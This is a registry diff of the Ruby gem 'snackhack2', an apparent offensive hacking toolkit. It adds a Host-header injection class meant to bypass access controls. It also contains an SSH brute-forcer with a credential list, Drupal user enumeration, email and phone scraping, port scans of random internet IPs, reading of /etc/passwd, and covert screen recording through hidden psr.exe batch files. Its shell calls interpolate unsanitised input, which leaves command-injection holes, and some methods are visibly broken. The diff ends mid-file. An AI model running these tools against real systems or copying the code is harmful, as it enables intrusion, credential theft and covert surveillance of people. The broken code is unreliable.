snackhack2 0.6.8 → 0.6.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 0ebd87b5313f0ca67abbb146beb1990b448c4dbe073afbb46122440d35849063
4
- data.tar.gz: 9ae6115bbe6a97494dab6dfd02acf854abcd4c9acd6b605b3de35103497fd767
3
+ metadata.gz: 23625b0c0b96d9310abb4adcfe327cbf41bfcd0b30a605b420fdaf39b56587c7
4
+ data.tar.gz: 748b136fb5ec56893c91d2a5e911a642d7f52aebc4b1dd4a3a4372644c107fc6
5
5
  SHA512:
6
- metadata.gz: ae1dcbd9a7f7f43f74d37ca079ea24c0693eabd5b8bd0bf5467801341bb50dff9e7fc28a70a4795d45af2d5c3c847578560a7ee86f199edc26d7c35bef50deba
7
- data.tar.gz: a5a50dd46b6b9870caba17892f620f42212ecada0cb430700184c004b8da2e39d50dbd760049e0a742636495cae3d261c5669e04faf5134913111b489956d428
6
+ metadata.gz: 1c5d3a5223ea6b1522b0448d9b1e6e01aa3ef1eece72c81888b3b317792533ddeb3c9ebfe517b6069a096b9f21250ef3b93d00c914602a1d5018fd1d7d012f1b
7
+ data.tar.gz: 189d3057f610d1a52b51f7e4745082814ab637fb985cc53f93cef48aa654b12c5fc0775309b5c3625d709228c021e43e0918808a5585390b18d81d93f81cbd52
@@ -2,12 +2,14 @@ require 'net/http'
2
2
  require 'openssl'
3
3
  module Snackhack2
4
4
  class SSLCert
5
- attr_accessor :site
5
+ attr_accessor :site, :file_save
6
6
 
7
7
  def initialize
8
8
  @site = site
9
+ @file_save = false
9
10
  end
10
- def get_cert
11
+ def get_cert(print_status: false)
12
+ save_txt_file = ''
11
13
  begin
12
14
  if @site.downcase.include?("https://")
13
15
  @site = @site.downcase.gsub("https://", "")
@@ -15,9 +17,18 @@ module Snackhack2
15
17
  uri = URI::HTTPS.build(host: @site)
16
18
  response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true)
17
19
  cert = response.peer_cert
18
- puts cert.serial
20
+ if @file_save
21
+ save_txt_file += cert.serial
22
+ else
23
+ if print_status
24
+ puts cert.serial
25
+ else
26
+ return cert.serial
27
+ end
28
+ end
19
29
  rescue OpenSSL::SSL::SSLError,Net::OpenTimeout, Errno::EHOSTUNREACH
20
30
  end
31
+ Snackhack2.file_save(@site, 'ssl', save_txt_file) if @file_save
21
32
  end
22
33
  end
23
34
  end
@@ -13,23 +13,29 @@ module Snackhack2
13
13
  def run
14
14
  nginx
15
15
  apache2
16
+ cloudflare
16
17
  wordpress
17
- get_ssh_info
18
+ cloudfront
18
19
  end
19
20
  def headers
20
21
  @headers = Snackhack2.get(@site).headers
21
22
  end
22
23
  def nginx
23
- puts "[+] Server is running NGINX... Now checking if #{File.join(@site, 'nginx_status')} is valid..."
24
- nginx = Snackhack2.get(File.join(@site, 'nginx_status'))
25
- if nginx.code == 200
26
- puts "Check #{@site}/nginx_status"
27
- else
28
- puts "Response code: #{nginx.code}"
24
+ if headers['server'].include?("nginx")
25
+ puts "[+] Server is running NGINX... Now checking if #{File.join(@site, 'nginx_status')} is valid..."
26
+ nginx = Snackhack2.get(File.join(@site, 'nginx_status'))
27
+ if nginx.code == 200
28
+ puts "Check #{@site}/nginx_status"
29
+ else
30
+ puts "Response code: #{nginx.code}... nginx_status not giving 200"
31
+ end
32
+ else
33
+ puts "[+] No nginx detected..."
29
34
  end
30
35
  end
31
36
 
32
37
  def curl
38
+ # uses cURL to head a website header
33
39
  servers = ''
34
40
  # rus the curl command to get the headers of the given site.
35
41
  cmd = `curl -s -I #{@site.gsub('https://', '')}`
@@ -55,16 +61,20 @@ module Snackhack2
55
61
  else
56
62
  puts "[+] Response Code: #{apache.code}...\n\n"
57
63
  end
58
- else
59
- puts "Apache2 is not found...\n\n"
60
64
  end
61
65
  end
62
66
 
63
67
  def wordpress
68
+ wp_status = false
69
+ wp_types = ["Yoast SEO plugin", "wp-content", "wp-json"]
64
70
  wp = Snackhack2.get(@site).body
65
- return unless wp.match(/wp-content/)
71
+ # return unless wp.match(/wp-content/)
72
+ wp_types.each do |wp|
73
+ p wp.match(/#{wp}/)
74
+ end
75
+ #puts "[+] Wordpress '/wp-content' found [+]\n\n\n" if wp.match(/wp-content/)
66
76
 
67
- puts "[+] Wordpress found [+]\n\n\n"
77
+
68
78
  end
69
79
  def types
70
80
  {
@@ -116,6 +126,37 @@ module Snackhack2
116
126
  end
117
127
  end
118
128
  end
129
+ def cloudfront(print_status: true)
130
+ # the purpose of this method is to
131
+ # check to see if a site has
132
+ # cloudflare in the headers
133
+
134
+ cf_status = false
135
+ cf_count = 0
136
+
137
+ # access the 'types' hash to get the cloudflare strings.
138
+ cf = types[:"aws CloudFront"]
139
+
140
+ # make a single get request to the site defined at '@site'
141
+ find_headers.each do |k,v|
142
+ # if the key is in the array cf
143
+ if cf.include?(k)
144
+ cf_status = true
145
+ cf_count += 1
146
+ end
147
+ end
148
+ unless print_status
149
+ # cf_status[0] : the status if cloudfront was found
150
+ # cf_count[1] : the number of found elements in the 'cloudfront' hash.
151
+ return [cf_status, cf_count]
152
+ else
153
+ if cf_status
154
+ puts "Cloudfront was found. The count is: #{cf_count}"
155
+ else
156
+ puts "Cloudfront was NOT found. The count is #{cf_count}"
157
+ end
158
+ end
159
+ end
119
160
  def detect_header(return_status: true)
120
161
  # stores the data found in
121
162
  # the headers.
@@ -12,13 +12,15 @@ module Snackhack2
12
12
  c = Snackhack2.get(@site)
13
13
 
14
14
  if c.code == 200
15
+ # turns the body of the text into an array
15
16
  body = c.body.split("\n")
16
17
  body.each_with_index do |l, i|
17
18
  line = l.strip
19
+ # detects if html code is present
18
20
  if line.start_with?('<!--')
19
- puts body[i].next
21
+ puts body[i].next.strip
20
22
  elsif line.include?('<!')
21
- puts body[i].next
23
+ puts body[i].next.strip
22
24
  end
23
25
  end
24
26
  else
@@ -5,8 +5,9 @@ module Snackhack2
5
5
  class Dns
6
6
  attr_accessor :site
7
7
 
8
- def initialize()
8
+ def initialize
9
9
  @site = site
10
+
10
11
  end
11
12
 
12
13
  def all_dns
@@ -26,14 +26,17 @@ module Snackhack2
26
26
  end
27
27
 
28
28
  doc = Nokogiri::HTML(URI.open(@site))
29
+ # uses xpath to extra the data stored in the meta tags
29
30
  posts = doc.xpath('//meta')
30
31
  posts.each do |l|
32
+ # display the drupal version and other info
31
33
  puts "\n\n[+] Drupal Version: #{l.attributes['content']}\n" if l.attributes['content'].to_s.include?('Drupal')
32
34
  end
33
35
  puts "\nDrupal Score: #{drupal_score}\n"
34
36
  end
35
37
 
36
38
  def user_brute
39
+ # enumerate the users by looping 0 to 1000
37
40
  (1..1000).each do |user|
38
41
  u = Snackhack2.get(File.join(@site, 'user', user.to_s)).body
39
42
  if u.include?('Page not found')
@@ -19,8 +19,11 @@ module Snackhack2
19
19
  Spidr.start_at(@site, max_depth: @max_depth) do |agent|
20
20
  agent.every_page do |page|
21
21
  body = page.to_s
22
+ # uses a regex to look for email addresses
22
23
  if body.scan(/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}/)
24
+ # again, uses regex to extract the email addresses and removes duplicates
23
25
  email = body.scan(/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}/).uniq
26
+ # if emails not found already in the array, it will add the email to the array.
24
27
  found_emails << email if !email.include?(found_emails) && !email.empty?
25
28
  end
26
29
  end
@@ -4,7 +4,7 @@ require 'net/ssh'
4
4
  module Snackhack2
5
5
  class SSHForwardRemote
6
6
  attr_accessor :site, :user, :pass, :key, :lport, :lsite, :rport
7
-
7
+ # forwards ssh traffic
8
8
  def initialize
9
9
  @site = site
10
10
  @user = user
@@ -5,26 +5,38 @@ module Snackhack2
5
5
  class GoogleAnalytics
6
6
  attr_accessor :site
7
7
 
8
- def initialize
8
+ def initialize(print_status: false)
9
9
  @site = site
10
10
  end
11
11
 
12
12
  def run
13
+ # uses a handful of different regexs to extract the Google Analytics
14
+ # code from sites. This is used by the site admin to track and mesaure
15
+ # people who visit the site. This could be used to find more sites
16
+ # they own where they re-use the code.
17
+ gas = []
13
18
  a = Snackhack2.get(@site).body
14
19
  case a
15
20
  when /UA-\d{8}-\d/
16
- puts a.match(/UA-\d{8}-\d/)
21
+ gas << a.match(/UA-\d{8}-\d/).to_s
17
22
  when /GTM-[A-Z0-9]{7}/
18
- puts a.match(/GTM-[A-Z0-9]{7}/)
23
+ gas << a.match(/GTM-[A-Z0-9]{7}/).to_s
19
24
  when /G-([0-9]+([A-Za-z]+[0-9]+)+)/
20
- puts a.match(/G-([0-9]+([A-Za-z]+[0-9]+)+)/)
25
+ gas << a.match(/G-([0-9]+([A-Za-z]+[0-9]+)+)/).to_s
21
26
  when /G-[A-Za-z0-9]+/
22
- puts a.match(/G-[A-Za-z0-9]+/)
27
+ gas << a.match(/G-[A-Za-z0-9]+/).to_s
23
28
  when /GT-[A-Za-z0-9]+/
24
- puts a.match(/GT-[A-Za-z0-9]+/)
29
+ gas << a.match(/GT-[A-Za-z0-9]+/).to_s
25
30
  else
26
31
  puts '[+] No Google Analytics found :('
27
32
  end
33
+ if @print_status
34
+ gas.each do |g|
35
+ puts g
36
+ end
37
+ else
38
+ return gas
39
+ end
28
40
  end
29
41
  end
30
42
  end
@@ -0,0 +1,93 @@
1
+ # frozen_string_literal: true
2
+
3
+ # Process.spawn("ruby -run -ehttpd . -p8008")
4
+ # sleep 10
5
+ module Snackhack2
6
+ class HostInjection
7
+ attr_accessor :site, :new_host_ip, :old_host_ip
8
+ # old_host_ip: the IP of the host (public IP) that its supposed to be
9
+ # new_host_ip: the IP of the host to bypass access controls
10
+ def initialize
11
+ @site = site
12
+ end
13
+ def test_all
14
+ p @new_host_ip
15
+ p @old_host_ip
16
+ [ "Host", "\sHost", "\rHost", "X-Forwarded-Host", "\sX-Forwarded-Host",
17
+ "X-Host", "\sX-Host", "\rX-Host", "X-Remote-Addr", "\sX-Remote-Addr",
18
+ "\rX-Remote-Addr", "X-Remote-IP", "\sX-Remote-IP", "\rX-Remote-IP",
19
+ "X-Forwarded-Server", "\sX-Forwarded-Server", "\rX-Forwarded-Server",
20
+ "Forwarded", "\sForwarded", "\rForwarded", "\sX-HTTP-Host-Override",
21
+ "X-HTTP-Host-Override", "\rX-HTTP-Host-Override"].each do |h|
22
+ head = {"Host" => @old_host_ip}
23
+ head[h] = @new_host_ip
24
+ r = HTTParty.get(@site, headers: head)
25
+ puts r.code
26
+ puts "\n==========================\n"
27
+ end
28
+ end
29
+
30
+ def host_ip
31
+ unless @old_host_ip.nil?
32
+ response = HTTParty.get(@site, headers: { "Host" => @old_host_ip})
33
+ puts response.body
34
+ puts response.code
35
+ end
36
+ end
37
+ def double_host_ip
38
+ unless @old_host_ip.nil?
39
+ response = HTTParty.get(@site, headers: { "Host" => @old_host_ip, "Host" => @new_host_ip})
40
+ puts response.body
41
+ puts response.code
42
+ end
43
+ end
44
+ def x_forwarded
45
+ unless @old_host_ip.nil?
46
+ response = HTTParty.get(@site, headers: { "Host" => @old_host_ip, "X-Forwarded-Host" => @new_host_ip})
47
+ puts response.body
48
+ puts response.code
49
+ end
50
+ end
51
+ def double_x_forwarded
52
+ unless @old_host_ip.nil?
53
+ response = HTTParty.get(@site, headers: { "X-Forwarded-Host" => @old_host_ip, "X-Forwarded-Host" => @new_host_ip})
54
+ puts response.body
55
+ puts response.code
56
+ end
57
+ end
58
+ def x_forwarded_server
59
+ unless @old_host_ip.nil?
60
+ r = HTTParty.get(@site, headers: {"Host" => @old_host_ip, "X-Forwarded-Server" => @new_host_ip})
61
+ puts r.body
62
+ puts r.code
63
+ r = HTTParty.get(@site, headers: {"X-Forwarded-Server" => @old_host_ip, "X-Forwarded-Server" => @new_host_ip})
64
+ puts r.body
65
+ puts r.code
66
+ end
67
+ end
68
+ def http_host_override
69
+ unless @old_host_ip.nil?
70
+ r = HTTParty.get(@site, headers: {"Host" => @old_host_ip, "X-HTTP-Host-Override" => @new_host_ip})
71
+ puts r.body
72
+ puts r.code
73
+ r = HTTParty.get(@site, headers: {"X-HTTP-Host-Override" => @old_host_ip, "X-HTTP-Host-Override" => @new_host_ip}).body
74
+ end
75
+ end
76
+ def extra_return_host
77
+ unless @new_host_ip.nil?
78
+ response = HTTParty.get(@site, headers: {"\rHost" => "#{@new_host_ip}"}, "Host" => "#{old_host_ip}").body
79
+ puts response
80
+ end
81
+ end
82
+ def extra_space_host
83
+ unless @new_host_ip.nil?
84
+ response = HTTParty.get(@site, headers: {"\sHost" => "#{@new_host_ip}"}, "Host" => "#{old_host_ip}").body
85
+ puts response
86
+ end
87
+ end
88
+ end
89
+ end
90
+
91
+
92
+
93
+
@@ -2,51 +2,58 @@
2
2
 
3
3
  require 'socket'
4
4
  require 'colorize'
5
+
5
6
  module Snackhack2
6
7
  class IpLookup
7
8
  attr_accessor :site
8
9
 
9
10
  def initialize(file_save: false)
10
11
  @file_save = file_save
11
- @site = site
12
+ # Clean the URL immediately to avoid repeating .gsub everywhere
13
+ end
14
+
15
+ def site
16
+ @site = @site.gsub(%r{https?://}, '').split('/').first
12
17
  end
13
18
 
14
19
  def run
15
- get_ip
16
- nslookup
17
- socket
20
+ # Running all methods and displaying results
21
+ puts "Methods for: #{@site}".bold.blue
22
+ puts "Ping: #{get_ip.join(', ')}"
23
+ puts "NS: #{nslookup.is_a?(Array) ? nslookup.join(', ') : 'Saved to file'}"
24
+ puts "Socket: #{socket_lookup}"
18
25
  end
19
26
 
20
27
  def get_ip
28
+ # Uses ping command to get IP of the host
21
29
  ips = []
22
- ip = `ping -c 2 #{@site.gsub('https://', '')}`.lines
23
- ip.each do |l|
24
- new_ip = l.match(/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/)
25
- ips << new_ip.to_s if !new_ip.to_s.empty? && !ips.include?(new_ip)
30
+ output = `ping -c 2 #{@site}`
31
+ # Using scan to find all IP-like patterns
32
+ output.scan(/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/).each do |match|
33
+ ip = match.first
34
+ ips << ip unless ips.include?(ip)
26
35
  end
27
36
  ips
28
37
  end
29
38
 
30
39
  def nslookup
31
- ips = []
32
- ns = `nslookup #{@site.gsub('https://', '')}`.lines
33
- ns.each do |ip|
34
- new_ip = ip.gsub('Address: ', '').strip if ip.include?('Address')
35
- if !ips.include?(new_ip) && !new_ip.nil?
36
-
37
- ips << new_ip.split('Addresses: ')[1].to_s
38
- end
39
- end
40
+ # Uses the nslookup command to extract the IP
41
+ output = `nslookup #{@site}`
42
+ # Simplified extraction using regex for "Address: [IP]"
43
+ ips = output.scan(/Address: (\d{1,3}(?:\.\d{1,3}){3})/).flatten.uniq
40
44
 
41
45
  if @file_save
42
- Snackhack2.file_save(@site, 'ip_lookup', ips.to_a.drop(1).join("\n"))
46
+ # Note: Ensure Snackhack2.file_save is defined in your main module
47
+ Snackhack2.file_save(@site, 'ip_lookup', ips.join("\n"))
43
48
  else
44
49
  ips
45
50
  end
46
51
  end
47
52
 
48
- def socket
49
- puts IPSocket.getaddress(@site.gsub('https://', ''))
53
+ def socket_lookup
54
+ IPSocket.getaddress(@site)
55
+ rescue SocketError
56
+ "Could not resolve"
50
57
  end
51
58
  end
52
- end
59
+ end
@@ -9,6 +9,8 @@ module Snackhack2
9
9
  end
10
10
 
11
11
  def linux
12
+ # uses the cat file to read the users in /etc/passwd
13
+ # then displays all the users
12
14
  `cat /etc/passwd`.split("\n").each do |l|
13
15
  puts l.split(':')[0]
14
16
  end
@@ -7,47 +7,88 @@ module Snackhack2
7
7
  attr_accessor :save_file, :site
8
8
 
9
9
  def initialize(save_file: true)
10
- @site = site
10
+ @site = site
11
11
  @save_file = save_file
12
12
  end
13
13
 
14
14
  attr_reader :save_file
15
15
 
16
16
  def run
17
- numbers = []
18
- http = Snackhack2.get(@site)
19
- if http.code == 200
20
- regex = http.body
21
- phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
22
- out = phone.map { |n| n[0] }.compact
23
- numbers << out
17
+ found_numbers = []
18
+ unless @site.include?("https://")
19
+ @site = "https://#{@site}"
24
20
  else
25
- puts "\n\n[+] Status code: #{http.code}"
21
+ @site = site
26
22
  end
27
- return if numbers.empty?
28
- return unless @save_file
29
-
30
- URI.parse(@site).host
31
- Snackhack2.file_save(@site, 'phone_numbers', numbers.join("\n"))
23
+ http = Snackhack2.get(@site).body
24
+ case http
25
+ when (/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
26
+ ph_1 = http.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/).flatten
27
+ found_numbers << ph_1
28
+ when /^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/
29
+ ph_2 = http.scan(/^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/).flatten
30
+ found_numbers << ph_2
31
+ when (/^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$/)
32
+ ph_3 = http.scan(/^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$/).flatten
33
+ found_numbers << ph_3
34
+ when (/^\+((?:9[679]|8[035789]|6[789]|5[90]|42|3[578]|2[1-689])|9[0-58]|8[1246]|6[0-6]|5[1-8]|4[013-9]|3[0-469]|2[70]|7|1)(?:\W*\d){0,13}\d$/).flatten
35
+ ph_4 = http.scan((/^\+((?:9[679]|8[035789]|6[789]|5[90]|42|3[578]|2[1-689])|9[0-58]|8[1246]|6[0-6]|5[1-8]|4[013-9]|3[0-469]|2[70]|7|1)(?:\W*\d){0,13}\d$/))
36
+ found_numbers << ph_4
37
+ when (/^(\+0?1\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/)
38
+ ph_5 = http.scan(/^(\+0?1\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/)
39
+ found_numbers << ph_5
40
+ when (/^\+?[1-9][0-9]{7,14}$/)
41
+ ph_6 = http.scan(/^\+?[1-9][0-9]{7,14}$/)
42
+ found_numbers << ph_6
43
+ when (/^\+?\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}$/)
44
+ ph_7 = http.scan(/^\+?\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}$/)
45
+ found_numbers << ph_7
46
+ end
47
+ numbers = found_numbers.flatten.compact
48
+ if @save_file
49
+ Snackhack2.file_save(@site, 'phone_numbers', numbers.join("\n"))
50
+ else
51
+ return numbers
52
+ end
32
53
  end
33
-
34
54
  def spider
35
- phone_numbers = []
55
+ found_numbers = []
36
56
  Spidr.start_at(@site, max_depth: 4) do |agent|
37
57
  agent.every_page do |page|
38
58
  body = page.to_s
39
- if body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
40
- pn = body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)[0]
41
- unless pn.nil?
42
- pn = pn.compact.reject { |i| i.to_s.nil? }.shift
43
- phone_numbers << pn unless phone_numbers.include?(pn.to_s)
44
- end
59
+ # regex to extract phone numbers
60
+ case body
61
+ when (/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
62
+ ph_1 = http.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/).flatten
63
+ found_numbers << ph_1
64
+ when /^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/
65
+ ph_2 = http.scan(/^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/).flatten
66
+ found_numbers << ph_2
67
+ when (/^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$/)
68
+ ph_3 = http.scan(/^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$/).flatten
69
+ found_numbers << ph_3
70
+ when (/^\+((?:9[679]|8[035789]|6[789]|5[90]|42|3[578]|2[1-689])|9[0-58]|8[1246]|6[0-6]|5[1-8]|4[013-9]|3[0-469]|2[70]|7|1)(?:\W*\d){0,13}\d$/).flatten
71
+ ph_4 = http.scan((/^\+((?:9[679]|8[035789]|6[789]|5[90]|42|3[578]|2[1-689])|9[0-58]|8[1246]|6[0-6]|5[1-8]|4[013-9]|3[0-469]|2[70]|7|1)(?:\W*\d){0,13}\d$/))
72
+ found_numbers << ph_4
73
+ when (/^(\+0?1\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/)
74
+ ph_5 = http.scan(/^(\+0?1\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/)
75
+ found_numbers << ph_5
76
+ when (/^\+?[1-9][0-9]{7,14}$/)
77
+ ph_6 = http.scan(/^\+?[1-9][0-9]{7,14}$/)
78
+ found_numbers << ph_6
79
+ when (/^\+?\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}$/)
80
+ ph_7 = http.scan(/^\+?\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}$/)
81
+ found_numbers << ph_7
45
82
  end
46
83
  end
47
84
  end
48
- return if phone_numbers.empty?
49
-
50
- Snackhack2.file_save(@site, 'phonenumbers', phone_numbers.join("\n")) if @save_file
85
+ unless phone_numbers.empty?
86
+ if @save_file
87
+ Snackhack2.file_save(@site, 'phonenumbers', phone_numbers.join("\n"))
88
+ else
89
+ return phone_numbers
90
+ end
91
+ end
51
92
  end
52
93
  end
53
94
  end
@@ -13,13 +13,17 @@ module Snackhack2
13
13
  end
14
14
 
15
15
  def run
16
+ # runs `tcp` with threads
16
17
  threads = []
18
+ # creates all the ports between 1 and 1000
17
19
  ports = [*1..1000]
18
20
  ports.each { |i| threads << Thread.new { tcp(i) } }
19
21
  threads.each(&:join)
20
22
  end
21
23
 
22
24
  def mass_scan
25
+ # uses the `generate_ips` to generate radom
26
+ # IPs. then performs the scan
23
27
  generate_ips.each do |ips|
24
28
  tcp = PortScan.new
25
29
  tcp.ip = ips
@@ -28,6 +32,8 @@ module Snackhack2
28
32
  end
29
33
 
30
34
  def generate_ips
35
+ # generate a bunch of different Ips to an
36
+ # array named `ips`.
31
37
  ips = []
32
38
  @count.to_i.times do |_c|
33
39
  ips << Array.new(4) { rand(256) }.join('.')
@@ -36,6 +42,10 @@ module Snackhack2
36
42
  end
37
43
 
38
44
  def ports_extractor(port)
45
+ # Looks through the files in the folder that
46
+ # match '_port_scan.txt' which extracts the
47
+ # ports
48
+
39
49
  ip = []
40
50
  files = Dir['*_port_scan.txt']
41
51
  files.each do |f|
@@ -62,7 +72,7 @@ module Snackhack2
62
72
  return if open_ports.empty?
63
73
 
64
74
  return unless @display
65
-
75
+ # displays the open ports and IPs
66
76
  open_ports.each do |port|
67
77
  puts "#{ip} - #{port} is open\n"
68
78
  end
@@ -2,13 +2,16 @@
2
2
 
3
3
  module Snackhack2
4
4
  class Robots
5
- def initialize(site, save_file: true)
5
+ attr_accessor :port, :site, :save_file, :http
6
+ def initialize(site: "", save_file: true)
6
7
  @site = site
7
- @http = Snackhack2.get(File.join(@site, 'robots.txt'))
8
- @save_file = save_file
8
+
9
+ end
10
+ def site=(t)
11
+ @http = File.join(t, 'robots.txt')
9
12
  end
10
13
 
11
- attr_reader :save_file
14
+ # attr_reader :save_file
12
15
 
13
16
  def run
14
17
  save_txt_file = ''
@@ -28,16 +31,27 @@ module Snackhack2
28
31
  end
29
32
  end
30
33
  else
31
- puts allow
32
- puts disallow
34
+ unless allow[1].empty?
35
+ puts "ALLOW: "
36
+ allow[1].each do |a|
37
+ puts a
38
+ end
39
+ end
40
+ unless disallow[1].empty?
41
+ puts "Disallow: "
42
+ disallow[1].each do |d|
43
+ puts d
44
+ end
45
+ end
33
46
  end
34
- Snackhack2.file_save(@site, 'robots', save_txt_file) if @save_file
47
+ Snackhack2.file_save(@site, 'robots', save_txt_file) if @save_file
35
48
  end
36
49
 
37
50
  def allow_robots
38
51
  allow_dir = []
39
- if @http.code == 200
40
- body = @http.body.lines
52
+ http = Snackhack2.get(@http)
53
+ if http.code == 200
54
+ body = http.body.lines
41
55
  body.each do |l|
42
56
  allow_dir << l.split('Allow: ')[1] if l.match(/Allow:/)
43
57
  end
@@ -46,21 +60,25 @@ module Snackhack2
46
60
  end
47
61
  open_links = []
48
62
  allow_dir.each do |path|
49
- link = Snackhack2.get(File.join(@site, path.strip))
63
+ link = Snackhack2.get(@http)
50
64
  if link.code == 200
51
65
  valid_links = "#{@site}#{path}"
52
66
  open_links << valid_links
53
67
  end
54
68
  end
55
- open_links
69
+ [ open_links, allow_dir]
56
70
  end
57
71
 
58
72
  def disallow_robots
73
+ http = Snackhack2.get(@http)
59
74
  disallow_dir = []
60
- if @http.code == 200
61
- body = @http.body.lines
75
+ if http.code == 200
76
+ body = http.body.lines
62
77
  body.each do |l|
63
- disallow_dir << l.split('Disallow: ')[1] if l.match(/Disallow:/)
78
+ if l.match(/Disallow:/)
79
+
80
+ disallow_dir << l.split('Disallow: ')[1]
81
+ end
64
82
  end
65
83
  else
66
84
  puts "[+] Not giving code 200.\n"
@@ -74,7 +92,7 @@ module Snackhack2
74
92
  end
75
93
  rescue StandardError
76
94
  end
77
- open_links
95
+ [ open_links, disallow_dir]
78
96
  end
79
97
  end
80
98
  end
@@ -0,0 +1,46 @@
1
+ module Snackhack2
2
+ class RubyComments
3
+ attr_accessor :file
4
+ def initialize
5
+ @file = file
6
+ end
7
+ def comment_block
8
+ if File.exist?(@file)
9
+ comments = []
10
+ in_comment_block = false
11
+ File.readlines(@file).each do |file|
12
+ file.each_line do |line|
13
+ if line.strip.eql? '=begin'
14
+ in_comment_block = true
15
+ next
16
+ elsif line.strip.eql? '=end'
17
+ in_comment_block = false
18
+ next
19
+ end
20
+
21
+ if in_comment_block
22
+ comments << line
23
+ end
24
+ end
25
+ end
26
+ comments.each do |c|
27
+ puts c
28
+ end
29
+ else
30
+ puts "#{@file} does not exist."
31
+ end
32
+ end
33
+ def comments
34
+ if File.exist?(@file)
35
+ File.readlines(@file).each do |l|
36
+ line = l.to_s
37
+ if line.to_s.start_with?("#")
38
+ puts l
39
+ end
40
+ end
41
+ else
42
+ puts "#{@file} does not exist."
43
+ end
44
+ end
45
+ end
46
+ end
@@ -12,12 +12,19 @@ module Snackhack2
12
12
  end
13
13
 
14
14
  def run
15
+ # creates a `.bat` filw with a command that will start the screen recordings
15
16
  File.open('lol.bat', 'w+') { |file| file.write("psr.exe /start /output #{@zip} /sc 1 /gui 0") }
17
+ # this will save a .bat file that will stop the recording
16
18
  File.open('lol2.bat', 'w+') { |file| file.write('psr.exe /stop') }
19
+ # run `lol.bat`
17
20
  Process.spawn('lol.bat')
21
+ # sleeps for the amount of time declared in instance variable `@time` which by
22
+ # defualt is 60 seconds
18
23
  sleep @time.to_i
24
+ # runs lol2.bat
19
25
  system('lol2.bat')
20
26
  sleep 2
27
+ # deletes both `lol.bat` and `lol2.bat`.
21
28
  File.delete('lol.bat')
22
29
  File.delete('lol2.bat')
23
30
  end
@@ -4,14 +4,22 @@ require 'httparty'
4
4
  require 'nokogiri'
5
5
  module Snackhack2
6
6
  class SiteMap
7
- def initialize(site)
7
+ attr_accessor :site
8
+ def initialize
8
9
  @site = site
9
10
  end
10
11
 
11
12
  def run
13
+ # adds `sitemap.xml` to the site given
14
+ # defined in `@site` instance variable.
12
15
  sm = Snackhack2.get(File.join(@site, 'sitemap.xml'))
13
- if sm.code == 200
14
- if !sm.body.include?('Not Found')
16
+ # site returns 200 status code
17
+ if sm.code.to_i.eql?(200)
18
+ # checks the body of the page to detetmine if the words
19
+ # `Not Found` is it
20
+ unless sm.body.include?('Not Found')
21
+ # the page did not include "Not Found". Saving the contents of the sitemap.xml
22
+ # to a file.
15
23
  Snackhack2.file_save(@site, 'site.xml', sm.body)
16
24
  else
17
25
  puts "[+] Eh. I don't think the site has a sitemap. Manually check just in case... :(\n\n"
@@ -10,11 +10,14 @@ module Snackhack2
10
10
  end
11
11
 
12
12
  def list
13
+ # the list of usernames and password.
14
+ # username:password
13
15
  File.join(__dir__, 'lists', 'sshbrute.txt')
14
16
  end
15
17
 
16
18
  def run
17
19
  threads = []
20
+ # uses threads to make it faster
18
21
  File.readlines(list).each { |usr, pass| threads << Thread.new { brute(usr, pass) } }
19
22
  threads.each(&:join)
20
23
 
@@ -22,8 +25,11 @@ module Snackhack2
22
25
  end
23
26
 
24
27
  def brute(username, pass)
28
+ # does the bruting.
29
+ # saves the valid creds to the @success_list instance variable array
25
30
  Net::SSH.start(@ip, username, password: pass, timeout: 1) do |ssh|
26
31
  @success_list << [username, pass]
32
+ # runs the `hostame command if valid
27
33
  ssh.exec!('hostname')
28
34
  end
29
35
  rescue Net::SSH::AuthenticationFailed
@@ -2,14 +2,61 @@
2
2
 
3
3
  # Process.spawn("ruby -run -ehttpd . -p8008")
4
